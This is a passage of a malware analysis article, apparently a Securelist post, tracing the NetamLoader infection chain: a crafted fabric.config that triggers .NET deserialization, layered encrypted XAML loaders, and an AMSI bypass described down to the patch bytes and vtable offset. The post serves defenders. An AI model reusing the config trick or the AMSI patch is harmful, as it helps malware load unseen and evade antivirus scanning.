class="crayon-o">&gt;</span><span class="crayon-h"> </span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-12"><span class="crayon-h">        </span><span class="crayon-o">&lt;</span><span class="crayon-e">supportedRuntime </span><span class="crayon-v">version</span><span class="crayon-o">=</span><span class="crayon-s">"v4.0"</span><span class="crayon-h"> </span><span class="crayon-v">sku</span><span class="crayon-o">=</span><span class="crayon-s">".NETFramework,Version=v4.6"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-13"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">startup</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-14"><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">configuration</span><span class="crayon-o">&gt;</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0004 seconds] --> <p>According to the configuration file, the class <code>Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration</code> from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. <code>DataCacheFactoryConfiguration</code> is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;section name="foo"&gt; &lt;customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /&gt; &lt;/section&gt;</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-1"><span class="crayon-ta">&lt;?</span><span class="crayon-e">xml </span><span class="crayon-i">version</span><span class="crayon-o">=</span><span class="crayon-s">"1.0"</span><span class="crayon-h"> </span><span class="crayon-i">encoding</span><span class="crayon-o">=</span><span class="crayon-s">"utf-8"</span><span class="crayon-ta">?&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-2"><span class="crayon-o">&lt;</span><span class="crayon-e">section </span><span class="crayon-v">name</span><span class="crayon-o">=</span><span class="crayon-s">"foo"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-3"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-e">customType </span><span class="crayon-v">className</span><span class="crayon-o">=</span><span class="crayon-s">"System.Resources.ResXResourceSet, System.Windows.Forms, </span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-4"><span class="crayon-s">                Version=4.0.0.0, Culture=neutral, </span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-5"><span class="crayon-s">                PublicKeyToken=b77a5c561934e089(Resources.resx)"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-6"><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">section</span><span class="crayon-o">&gt;</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0002 seconds] --> <h3 id="step-2">Step 2</h3> <p>The <code>DataCacheFactoryConfiguration</code> class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the <code>DataCacheFactoryConfiguration</code> instance examines its <code>className</code> attribute, loads the specified type (<code>System.Resources.ResXResourceSet</code> from the <code>System.Windows.Forms</code> assembly), and creates a <code>ResXResourceSet</code> instance, passing “Resources.resx” to its constructor for parsing.</p> <p>In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:</p> <div class="wp-caption aligncenter" id="attachment_121678-2" style="width: 1440px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png"><img alt="Multiple layers of payloads are compressed and encrypted in the .resx file" aria-describedby="caption-attachment-121678-2" class="size-full wp-image-121678" decoding="async" height="1957" sizes="auto, (max-width: 1430px) 100vw, 1430px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png 1430w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-219x300.png 219w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-748x1024.png 748w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-768x1051.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-1122x1536.png 1122w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-256x350.png 256w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-731x1000.png 731w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-205x280.png 205w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-658x900.png 658w" title="NetamLoader-04" width="1430" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121678-2">Multiple layers of payloads are compressed and encrypted in the .resx file</p></div> <p>The <a href="https://learn.microsoft.com/en-us/dotnet/core/extensions/create-resource-files#resources-in-resx-files" target="_blank">Microsoft RESX schema</a> defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.</p> <div class="wp-caption aligncenter" id="attachment_121682-2" style="width: 962px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png"><img alt="Base64-encoded serialized binary object in Resources.resx" aria-describedby="caption-attachment-121682-2" class="size-full wp-image-121682" decoding="async" height="97" sizes="auto, (max-width: 952px) 100vw, 952px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png 952w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-300x31.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-768x78.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-740x75.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-800x82.png 800w" title="NetamLoader-08" width="952" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121682-2">Base64-encoded serialized binary object in Resources.resx</p></div> <p>Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a <a href="https://hackmd.io/@gjN6_p5wRkqTgU8p5SWx7Q/BJKJjMYn5" target="_blank">TypeConfuseDelegate attack</a>. The TypeConfuseDelegate then invokes <code>XamlReader.Parse()</code>, which loads a <a href="https://learn.microsoft.com/en-us/dotnet/desktop/wpf/xaml/" target="_blank">XAML</a> payload (named XAML-1) embedded within the binary object.</p> <p>XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider" target="_blank">ObjectDataProvider</a> and <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.resourcedictionary?view=windowsdesktop-10.0" target="_blank">ResourceDictionary</a>, logic equivalent to C# code can be expressed in an XML‑like syntax.<br/> <div class="wp-caption aligncenter" id="attachment_121680-2" style="width: 1042px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png"><img alt="A code snippet of XAML-1" aria-describedby="caption-attachment-121680-2" class="size-full wp-image-121680" decoding="async" height="847" sizes="auto, (max-width: 1032px) 100vw, 1032px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png 1032w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-300x246.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-1024x840.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-768x630.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-426x350.png 426w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-740x607.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-341x280.png 341w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-800x657.png 800w" title="NetamLoader-06" width="1032" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121680-2">A code snippet of XAML-1</p></div></p> <h3 id="step-3">Step 3</h3> <p>The XAML-1 code acts as a loader for an embedded payload. The process is as follows:</p> <ol> <li>Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.</li> <li>Generate the AES key by hashing the command‑line string with SHA‑256.</li> <li>Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.</li> <li>Load XAML-2 into memory using the .NET API <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader.load?view=windowsdesktop-10.0" target="_blank">System.Windows.Markup.XamlReader.Load()</a>.</li> <li>If any exception occurs during decryption, trigger <code>Environment.Exit(0)</code>, silently terminating the host process to prevent error messages that might reveal the attack.</li> </ol> <h2 id="stage-2">Stage 2</h2> <p>XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.<br/> <div class="wp-caption aligncenter" id="attachment_121686-2" style="width: 2236px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png"><img alt="Infection chain: Stage 2" aria-describedby="caption-attachment-121686-2" class="size-full wp-image-121686" decoding="async" height="1520" sizes="auto, (max-width: 2226px) 100vw, 2226px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png 2226w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-300x205.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-1024x699.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-768x524.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-1536x1049.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-2048x1398.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-513x350.png 513w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-740x505.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-410x280.png 410w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-800x546.png 800w" title="NetamLoader-03" width="2226" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121686-2">Infection chain: Stage 2</p></div></p> <p>XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with <code>XamlReader.Load()</code>.<br/> <div class="wp-caption aligncenter" id="attachment_121685-2" style="width: 1087px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png"><img alt="A code snippet of XAML-2" aria-describedby="caption-attachment-121685-2" class="size-full wp-image-121685" decoding="async" height="461" sizes="auto, (max-width: 1077px) 100vw, 1077px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png 1077w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-300x128.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-1024x438.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-768x329.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-818x350.png 818w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-740x317.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-654x280.png 654w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-800x342.png 800w" title="NetamLoader-02" width="1077" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121685-2">A code snippet of XAML-2</p></div></p> <h3 id="xaml-2-1">XAML-2-1</h3> <p>The first file consists of 796 lines. Its sole purpose is to hijack a key <a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-reference" target="_blank">AMSI</a> API to bypass anti‑malware scanning.</p> <div class="wp-caption aligncenter" id="attachment_121679-2" style="width: 908px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png"><img alt="Sensitive strings in XAML-2-1 are cut into tiny pieces" aria-describedby="caption-attachment-121679-2" class="size-full wp-image-121679" decoding="async" height="536" sizes="auto, (max-width: 898px) 100vw, 898px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png 898w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-300x179.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-768x458.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-586x350.png 586w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-740x442.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-469x280.png 469w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-800x478.png 800w" title="NetamLoader-05" width="898" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121679-2">Sensitive strings in XAML-2-1 are cut into tiny pieces</p></div> <p>To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.</p> <p>The key steps it takes to achieve its goal are as follows:</p> <ol> <li>Check the OS architecture by verifying whether <code>IntPtr.Size</code> equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.</li> <li>Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.</li> <li>Patch the AMSI module. <ul> <li>Create a delegate for the runtime method <code>Console.Clear()</code> and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).</li> <li>Obtain the native pointer of the AMSI COM object with <code>Marshal.GetIUnknownForObject()</code>. From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the <code>CAmsiAntimalware::Scan</code> method.</li> <li>Use <code>VirtualProtect()</code> to make the <code>Scan()</code> pointer writable, change its value from the address of the <code>CAmsiAntimalware::Scan()</code> method to the address of the patched <code>Console.Clear()</code>, and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns <code>AMSI_RESULT_CLEAN (value = 0)</code>.</li> </ul> </li> </ol> <p>One patch targets the <code>Console.Clear()</code> API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.</p> <h3 id="xaml-2-2">XAML-2-2</h3> <p>XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the <code>Assembly.CreateInstance()</code> API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the <code>m.C()</code> method of .NET 1 Loader as a parameter.</p> <h3 id="net-1-loader">.NET 1 Loader</h3> <p>.NET 1 Loader decodes, decompres</p></div></div></div></div></div></div> https://securelist.com/netamloader/121676/ cyber Thu, 29 Oct 2026 08:00:15 +0000 hourly1